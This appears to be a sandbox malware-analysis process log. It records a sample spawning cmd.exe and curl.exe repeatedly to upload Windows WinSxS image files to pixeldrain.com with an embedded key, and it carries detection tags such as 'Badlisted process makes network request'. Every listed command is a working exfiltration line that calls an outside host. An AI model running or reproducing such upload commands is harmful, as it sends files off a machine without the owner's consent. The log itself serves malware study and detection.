  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Light_Scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Light_Scale-140.png-07-11-2026--13.56.57.png
  2⤵
  PID:5044
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Light_Scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Light_Scale-140.png-07-11-2026--13.56.57.png
    3⤵
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Light_Scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Light_Scale-180.png-07-11-2026--13.56.57.png
  2⤵
  PID:2632
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Light_Scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Light_Scale-180.png-07-11-2026--13.56.57.png
    3⤵
    PID:2000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\StoreLogo.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-StoreLogo.Theme-Dark_Scale-100.png-07-11-2026--13.56.57.png
  2⤵
  PID:1012
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\StoreLogo.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-StoreLogo.Theme-Dark_Scale-100.png-07-11-2026--13.56.57.png
    3⤵
    - Badlisted process makes network request
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\StoreLogo.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-StoreLogo.Theme-Light_Scale-100.png-07-11-2026--13.56.58.png
  2⤵
  PID:4328
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\StoreLogo.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-StoreLogo.Theme-Light_Scale-100.png-07-11-2026--13.56.58.png
    3⤵
    - Badlisted process makes network request
    PID:1636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\LockScreenLogo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-LockScreenLogo.scale-200.png-07-11-2026--13.56.58.png
  2⤵
  PID:2872
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\LockScreenLogo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-LockScreenLogo.scale-200.png-07-11-2026--13.56.58.png
    3⤵
    PID:5492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\SplashScreen.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-SplashScreen.scale-200.png-07-11-2026--13.56.58.png
  2⤵
  PID:4368
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\SplashScreen.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-SplashScreen.scale-200.png-07-11-2026--13.56.58.png
    3⤵
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Square150x150Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Square150x150Logo.scale-200.png-07-11-2026--13.56.58.png
  2⤵
  PID:5632
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Square150x150Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Square150x150Logo.scale-200.png-07-11-2026--13.56.58.png
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Square44x44Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Square44x44Logo.scale-200.png-07-11-2026--13.56.59.png
  2⤵
  PID:2088
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Square44x44Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Square44x44Logo.scale-200.png-07-11-2026--13.56.59.png
    3⤵
    - Badlisted process makes network request
    PID:5612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Square44x44Logo.targetsize-24_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Square44x44Logo.targetsize-24_altform-unplated.png-07-11-2026--13.56.59.png
  2⤵
  PID:2892
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Square44x44Logo.targetsize-24_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Square44x44Logo.targetsize-24_altform-unplated.png-07-11-2026--13.56.59.png
    3⤵
    PID:3408
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\StoreLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-StoreLogo.png-07-11-2026--13.56.59.png
  2⤵
  PID:3008
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4408
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\StoreLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-StoreLogo.png-07-11-2026--13.56.59.png
    3⤵
    PID:3528
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Wide310x150Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Wide310x150Logo.scale-200.png-07-11-2026--13.57.00.png
  2⤵
  PID:6008
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:580
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8\Wide310x150Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..rarydialog.appxmain_31bf3856ad364e35_10.0.26100.1150_none_69add7d861f392a8-Wide310x150Logo.scale-200.png-07-11-2026--13.57.00.png
    3⤵
    PID:996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-Logo.scale-100.png-07-11-2026--13.57.00.png
  2⤵
  - Executes a command shell one-liner
  PID:3940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4284
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-Logo.scale-100.png-07-11-2026--13.57.00.png
    3⤵
    - Badlisted process makes network request
    PID:4392
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\SmallLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-SmallLogo.scale-100.png-07-11-2026--13.57.00.png
  2⤵
  - Executes a command shell one-liner
  PID:5304
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\SmallLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-SmallLogo.scale-100.png-07-11-2026--13.57.00.png
    3⤵
    - Badlisted process makes network request
    PID:5260
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\Splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-Splashscreen.scale-100.png-07-11-2026--13.57.00.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4824
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5804
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\Splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-Splashscreen.scale-100.png-07-11-2026--13.57.00.png
    3⤵
    PID:5864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\StoreLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-StoreLogo.scale-100.png-07-11-2026--13.57.01.png
  2⤵
  PID:3000
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e\StoreLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-apprep-chxapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d0c423c229a48e-StoreLogo.scale-100.png-07-11-2026--13.57.01.png
    3⤵
    PID:4932
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile150x150.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile150x150.scale-100.png-07-11-2026--13.57.01.png
  2⤵
  PID:2056
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile150x150.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile150x150.scale-100.png-07-11-2026--13.57.01.png
    3⤵
    PID:4632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile310x150.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile310x150.scale-100.png-07-11-2026--13.57.01.png
  2⤵
  PID:6128
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile310x150.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile310x150.scale-100.png-07-11-2026--13.57.01.png
    3⤵
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile44x44.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile44x44.scale-100.png-07-11-2026--13.57.01.png
  2⤵
  PID:4944
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile44x44.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile44x44.scale-100.png-07-11-2026--13.57.01.png
    3⤵
    - Badlisted process makes network request
    PID:2592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile71x71.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile71x71.scale-100.png-07-11-2026--13.57.02.png
  2⤵
  PID:6004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00\SquareTile71x71.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-appresolverux.appxmain_31bf3856ad364e35_10.0.26100.1591_none_9ce862b2367e1d00-SquareTile71x71.scale-100.png-07-11-2026--13.57.02.png
    3⤵
    PID:4304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-audio-volumecontrol_31bf3856ad364e35_10.0.26100.1301_none_61f509cbb778baf7\@AudioToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-audio-volumecontrol_31bf3856ad364e35_10.0.26100.1301_none_61f509cbb778baf7-@AudioToastIcon.png-07-11-2026--13.57.02.png
  2⤵
  PID:3328
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-audio-volumecontrol_31bf3856ad364e35_10.0.26100.1301_none_61f509cbb778baf7\@AudioToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-audio-volumecontrol_31bf3856ad364e35_10.0.26100.1301_none_61f509cbb778baf7-@AudioToastIcon.png-07-11-2026--13.57.02.png
    3⤵
    - Badlisted process makes network request
    PID:1976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-augloop.appxmain_31bf3856ad364e35_10.0.26100.1_none_c2f55f763f193df2\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-augloop.appxmain_31bf3856ad364e35_10.0.26100.1_none_c2f55f763f193df2-logo.png-07-11-2026--13.57.02.png
  2⤵
  PID:1888
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-augloop.appxmain_31bf3856ad364e35_10.0.26100.1_none_c2f55f763f193df2\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-augloop.appxmain_31bf3856ad364e35_10.0.26100.1_none_c2f55f763f193df2-logo.png-07-11-2026--13.57.02.png
    3⤵
    PID:4128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-bth-cpl_31bf3856ad364e35_10.0.26100.712_none_f93bed8e48f25bfe\@BthpropsNotificationLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-bth-cpl_31bf3856ad364e35_10.0.26100.712_none_f93bed8e48f25bfe-@BthpropsNotificationLogo.png-07-11-2026--13.57.03.png
  2⤵
  PID:4312
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-bth-cpl_31bf3856ad364e35_10.0.26100.712_none_f93bed8e48f25bfe\@BthpropsNotificationLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-bth-cpl_31bf3856ad364e35_10.0.26100.712_none_f93bed8e48f25bfe-@BthpropsNotificationLogo.png-07-11-2026--13.57.03.png
    3⤵
    PID:5492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..dialoghost.appxmain_31bf3856ad364e35_10.0.26100.1150_none_ab86ca35f5ea21f3\Splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..dialoghost.appxmain_31bf3856ad364e35_10.0.26100.1150_none_ab86ca35f5ea21f3-Splashscreen.scale-100.png-07-11-2026--13.57.03.png
  2⤵
  PID:2980
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..dialoghost.appxmain_31bf3856ad364e35_10.0.26100.1150_none_ab86ca35f5ea21f3\Splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..dialoghost.appxmain_31bf3856ad364e35_10.0.26100.1150_none_ab86ca35f5ea21f3-Splashscreen.scale-100.png-07-11-2026--13.57.03.png
    3⤵
    PID:4548
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars30.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars30.contrast-black_scale-200.png-07-11-2026--13.57.03.png
  2⤵
  PID:5568
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars30.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars30.contrast-black_scale-200.png-07-11-2026--13.57.03.png
    3⤵
    PID:2280
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars30.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars30.contrast-white_scale-200.png-07-11-2026--13.57.03.png
  2⤵
  PID:5924
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf\RatingStars30.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-c..er.appxmain.ratings_31bf3856ad364e35_10.0.26100.1_none_464956a6791d68cf-RatingStars30.contrast-white_scale-200.png-07-11-2026--13.57.03.png
    3⤵
    - Badlisted process makes network request
    PID:3880
- C:\Windows\SysWOW64\cmd.exe
